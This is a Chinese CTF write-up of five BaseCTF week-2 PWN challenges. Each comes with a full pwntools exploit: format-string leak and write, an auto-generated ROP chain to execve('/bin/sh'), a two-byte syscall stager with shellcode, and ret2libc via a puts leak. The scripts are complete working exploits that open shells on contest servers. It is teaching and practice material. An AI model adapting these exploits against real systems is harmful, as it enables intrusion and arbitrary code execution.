BaseCTF新生赛 week2 PWN详解
format_string_level0
保护全开,但是没什么影响。
open了flag又读入给了ptr分配的内存空间里,那么ptr里面就是flag,ptr和读入的buf之间的距离是0x10也就是16,64位下也就是相差2个字节。
先计算一下格式化字符串参数:
buf的格式化字符串参数是10,那么ptr的格式化字符串参数就是10-2=8,只需要发送'%8$s'即可泄露flag。
exp:
from pwn import *
context(arch = 'amd64', os = 'linux',log_level = "debug")
io = remote("challenge.basectf.fun",45610)
#io = process("./vuln")
elf = ELF("./vuln")
payload = b'%8$s'
io.send(payload)
io.recv()
io.interactive()
成功获得flag:
format_string_level1
这道题又是一道格式化字符串漏洞的题
没开PIE就没什么问题
典型的格式化字符串篡改任意地址内容漏洞,这里只要target不是0即可满足条件绕过if,调用readflag得到flag。
readflag函数:
target在bss段:
先计算格式化字符串漏洞参数:
格式化字符串参数是6
exp:
from pwn import *
from LibcSearcher import *
context(arch = 'amd64', os = 'linux',log_level = "debug")
io = remote("challenge.basectf.fun",32821)
#io = process("./vuln")
elf = ELF("./vuln")
target = 0x4040B0
payload = fmtstr_payload(6,{target:1})
io.send(payload)
io.interactive()
成功得到flag:
gift
题目描述:
怎么这么多函数,这是为什么呢(善良的出题人给了一把梭的机会哦)
静态编译,可以使用ropchain一把梭
命令:
ROPgadget --binary gift --ropchain
把最后提供的直接复制到exp里面就能getshell
记得加一个 from struct import pack
exp:
from pwn import*
from struct import pack
context(arch='amd64',os='linux',log_level='debug')
#io = process('./gift')
io=remote("challenge.basectf.fun",23258)
p = b'A'*(0x20+8)
p += pack('<Q', 0x0000000000409f9e) # pop rsi ; ret
p += pack('<Q', 0x00000000004c50e0) # @ .data
p += pack('<Q', 0x0000000000419484) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x000000000044a5e5) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000409f9e) # pop rsi ; ret
p += pack('<Q', 0x00000000004c50e8) # @ .data + 8
p += pack('<Q', 0x000000000043d350) # xor rax, rax ; ret
p += pack('<Q', 0x000000000044a5e5) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000401f2f) # pop rdi ; ret
p += pack('<Q', 0x00000000004c50e0) # @ .data
p += pack('<Q', 0x0000000000409f9e) # pop rsi ; ret
p += pack('<Q', 0x00000000004c50e8) # @ .data + 8
p += pack('<Q', 0x000000000047f2eb) # pop rdx ; pop rbx ; ret
p += pack('<Q', 0x00000000004c50e8) # @ .data + 8
p += pack('<Q', 0x4141414141414141) # padding
p += pack('<Q', 0x000000000043d350) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000401ce4) # syscall
io.sendline(p)
io.interactive()
成功获得flag:
shellcode_level1
题目描述以及提示:
两字节怎么写系统调用
丢掉工具,返璞归真。尝试着从汇编角度思考思考?
试着动态调试观察下寄存器的值?
拿到题目先看保护:
ida反汇编看看:
读入2字节到buf指向的内存区域,权限是7,可读可写可执行,后面又有buf的调用,但是这个格式如果把buf换成read就是一个标准的read函数调用,看一下汇编:
第一次读入的2字节存在rcx里面,后面又call rcx ,如果我们读入的内容是_read的地址就会和前一次read是一样的,但是地址不止两字节所以实现不了传read地址,后面去查汇编指令了解到
call syscall
syscall
这两个是一样的效果,如果直接syscall,其他寄存器已经满足要求了,rax是0,也就是64位下的read的系统调用号,如果rcx的内容是syscall也能实现read调用,第二次再read 0x500,就可以实现ret2shellcode。
syscall的对应的字节码是'\x0F\x05'
第二次读入不能直接发shellcode,要先把之前的\x0F\x05给覆盖掉,不然不会正常执行传入的shellcode
exp:
from pwn import *
context(arch = 'amd64', os = 'linux',log_level = "debug")
#io = remote("pwn.challenge.ctf.show", "28125")
io = process("./pwn")
elf = ELF("./pwn")
main = elf.symbols["main"]
shellcode = asm(shellcraft.sh())
payload1 = b'\x0F\x05' #asm("syscall")
io.send(payload1)
payload2 = b'\x90'*2 + shellcode #'\x90'为nop(空)的汇编,覆盖之前的syscall
io.send(payload2)
io.interactive()
成功获得flag:
她与你皆失
没有canary和pie
查看ida反汇编
没有system,正常ret2libc,利用puts泄露libc基地址
gadgets也够用,其实只需要pop_rdi_ret和ret
exp:
from pwn import *
from LibcSearcher import *
context(arch = 'amd64', os = 'linux',log_level = "debug")
io = remote("challenge.basectf.fun",26461)
#io = process("./pwn")
elf = ELF("./pwn")
offset = 0xA + 0x8
main = elf.symbols['main']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi_ret = 0x401176
ret = 0x40101a
payload1 = offset * b'a' + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main)
io.sendline(payload1)
puts = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print("puts:",hex(puts))
libc = LibcSearcher("puts", puts)
libc_base = puts - libc.dump("puts")
system = libc_base + libc.dump("system")
bin_sh = libc_base + libc.dump("str_bin_sh")
payload2 = offset * b'a' + p64(pop_rdi_ret) + p64(bin_sh) + p64(ret) + p64(system)
io.sendlineafter("I have nothing, what should I do?",payload2)
io.interactive()
这边不用LibcSearcher也可以,给了libc文件
成功获得flag: